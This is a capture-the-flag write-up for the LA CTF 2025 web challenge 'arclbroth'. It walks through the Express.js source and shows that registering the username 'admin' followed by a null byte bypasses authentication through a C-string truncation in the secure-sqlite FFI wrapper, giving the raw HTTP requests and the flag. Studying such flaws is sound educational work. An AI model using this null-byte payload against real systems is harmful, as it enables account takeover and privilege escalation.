arclbroth
Table of Contents
Overview
- Contributor: @siunam, @ensy.zip, @ozetta, @YMD
- Solved by: @siunam
- 39 solves / 369 points
- Author: @r2uwu2
- Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
Background
I heard Arc'blroth was writing challenges for LA CTF. Wait, is it arc'blroth or arcl broth?

Enumeration
Index page:

Let's try to register a new account!


After registering a new account, we'll be redirected to /game/, which is a simple web game.
If we click the "Brew Broth" button, it'll combine 2 arcs and return a new one:

Burp Suite HTTP history:

When we clicked that button, it'll send a POST request to /brew, and the server respond us with a JSON object.
If we click the "Replenish Arcs" button, it'll reset our number of arcs to 10:

Burp Suite HTTP history:

When we clicked that button, it'll send a POST request to /replenish, and the server respond us with a JSON object.
Nothing much to do in here. Let's read this web application's source code!
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/LA-CTF-2025/web/arclbroth)-[2025.02.11|15:49:24(HKT)]
└> file arclbroth.zip
arclbroth.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/LA-CTF-2025/web/arclbroth)-[2025.02.11|15:49:25(HKT)]
└> unzip arclbroth.zip
Archive: arclbroth.zip
inflating: app.js
inflating: Dockerfile
inflating: package.json
inflating: package-lock.json
creating: site/
inflating: site/index.html
inflating: site/style.css
inflating: site/main.js
creating: site/img/
inflating: site/img/bulrboo.png
creating: site/game/
inflating: site/game/index.html
inflating: site/game/style.css
inflating: site/game/game.js
After reading the source code a little bit, we know that this web application is written in JavaScript with Express.JS framework, and the main logic of this application is in app.js.
First off, what's the objective in this challenge? Where's the flag?
In POST route /brew, if our numbers of arc is greater than 50, we can get the flag:
const { init: initDb, sql} = require('secure-sqlite');
[...]
const flag = process.env.FLAG ?? 'lactf{test_flag_owo}';
[...]
app.post('/brew', (req, res) => {
[...]
const { arcs, username } = res.locals.user;
if (arcs < 2) {
res.json({ broth: 'no-arcs', arcs });
} else if (arcs < 50) {
sql`UPDATE users SET arcs=${arcs - 2} WHERE username=${username}`;
res.json({ broth: 'standard', arcs: arcs - 2 });
} else {
sql`UPDATE users SET arcs=${arcs - 50} WHERE username=${username}`;
res.json({ broth: flag, arcs: arcs - 50 });
}
});
With that said, we need to somehow obtain more than 50 arcs in order to get the flag.
In POST route /replenish, we can see that if our username is admin, it'll reset our numbers of arc to 100:
app.post('/replenish', (req, res) => {
[...]
const { username } = res.locals.user;
const arcs = username === 'admin' ? 100 : 10
sql`UPDATE users SET arcs=${arcs}`;
res.json({ success: true, arcs });
});
So… Does that mean we need to somehow authenticate as admin or set our username to admin?
Let's first see if we can set our username to admin. To do so, we'll need to check out the registration logic.
In POST route /register, it checks our username and password parameter is string data type:
app.post('/register', (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (!username || typeof username !== 'string') {
res.status(400).json({ err: 'provide a username owo' });
return;
}
if (!password || typeof password !== 'string') {
res.status(400).json({ err: 'provide a password uwu' });
return;
}
[...]
});
After that, it checks for existing username by executing a SQL query. If the query returned more than 0 rows, it'll return a JSON object that contains an error message:
app.post('/register', (req, res) => {
[...]
const existing = sql`SELECT * FROM users WHERE username=${username}`;
if (existing.length > 0) {
res.status(400).json({ err: 'user already exists' });
return;
}
[...]
});
Huh, it looks like the application didn't trim the username parameter. So, we can't just register a user with username like admin<space_character>.
How about the POST route /login? Unfortunately, the logic is same as the registration:
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (!username || typeof username !== 'string') {
res.status(400).json({ err: 'provide a username owo' });
return;
}
if (!password || typeof password !== 'string') {
res.status(400).json({ err: 'provide a password uwu' });
return;
}
const existing = sql`SELECT * FROM users WHERE username=${username}`;
if (existing.length == 0 || existing[0].password !== password) {
res.status(400).json({ err: 'invalid login' });
return;
}
[...]
});
So nope, we can't somehow set/register a new user with username admin.
Now, can we login as admin?
Unluckily, the admin's password is random 32 hex characters, so there's no chance that we can brute force it:
const adminpw = process.env.ADMINPW ?? crypto.randomBytes(16).toString('hex');
[...]
sql`INSERT INTO users VALUES ('admin', ${adminpw}, 100)`;
How about SQL injection? All of those SQL queries are directly concatenated with our user inputs. Wait, what are those sql keyword?
In this application, it uses a JavaScript package called secure-sqlite.
A small package using a foreign function interface to access SQLite3 functions in Node, while preventing SQLIs and supporting Unicode characters. - https://www.npmjs.com/package/secure-sqlite
In package.json, we can see that the application uses version 1.1.0 instead of the latest version (1.1.1):
{
[...]
"dependencies": {
[...]
"secure-sqlite": "^1.1.0"
}
}
Hmm… Maybe this is a 0-day or 1-day challenge?!
If we read the source code (secure-sqlite/lib.js), we can see that this package indeed perform prepared statement properly. I also diff'd the latest version and version 1.1.0, but found nothing interesting.
However, there's one thing kinda weird to me, its dependencies:
const ffi = require('ffi-napi');
const ref = require('ref-napi');
If we Google package ffi-napi, we can see that it's a Node.js addon for loading and calling dynamic libraries using pure JavaScript.
It also simplifies the augmentation of node.js with C code as it takes care of handling the translation of types across JavaScript and C, which can add reams of boilerplate code to your otherwise simple C. See the
example/factorialfor an example of this use case. - https://www.npmjs.com/package/ffi-napi
In secure-sqlite/lib.js, we can see that it loads libsqlite3 C library:
const _lib = ffi.Library('libsqlite3', {
[...]
}
Wait, why using a foreign function interface? I mean, Node.js has an API for SQLite, why not just create wrapper functions in this use case?
Anyway, in addon ffi-napi, it mentioned a lot about C language. Since C language's strings are null-terminated (\0), maybe this package will terminate everything after a null byte in a string?
Exploitation
Armed with above information, we can try to send the following POST request to route /register:
POST /register HTTP/2
Host: arclbroth-xdt9d.instancer.lac.tf
Content-Type: application/json
Content-Length: 48
{"username":"admin\u0000","password":"anything"}
Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 11 Feb 2025 08:33:21 GMT
Etag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA"
Set-Cookie: session=139520655927309; Path=/
X-Powered-By: Express
Content-Length: 16
{"success":true}
Oh nice! It worked!
To get the flag, we need to first reset our numbers of arc to 100 via sending this POST request:
POST /replenish HTTP/2
Host: arclbroth-xdt9d.instancer.lac.tf
Cookie: session=139520655927309
Content-Type: application/json
Content-Length: 0
Then, send a POST request to /brew:
POST /brew HTTP/2
Host: arclbroth-xdt9d.instancer.lac.tf
Cookie: session=139520655927309
Content-Type: application/json
Content-Length: 0
Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 11 Feb 2025 08:34:25 GMT
Etag: W/"4c-x32qd/XAH6LqQjlHN9VseXw0Px0"
X-Powered-By: Express
Content-Length: 76
{"broth":"lactf{bulri3v3_it_0r_n0t_s3cur3_sqlit3_w4s_n0t_s3cur3}","arcs":50}
- Flag:
lactf{bulri3v3_it_0r_n0t_s3cur3_sqlit3_w4s_n0t_s3cur3}
Conclusion
What we've learned:
- Authentication bypass via null-terminated string in Node.JS Foreign Function Interface (FFI)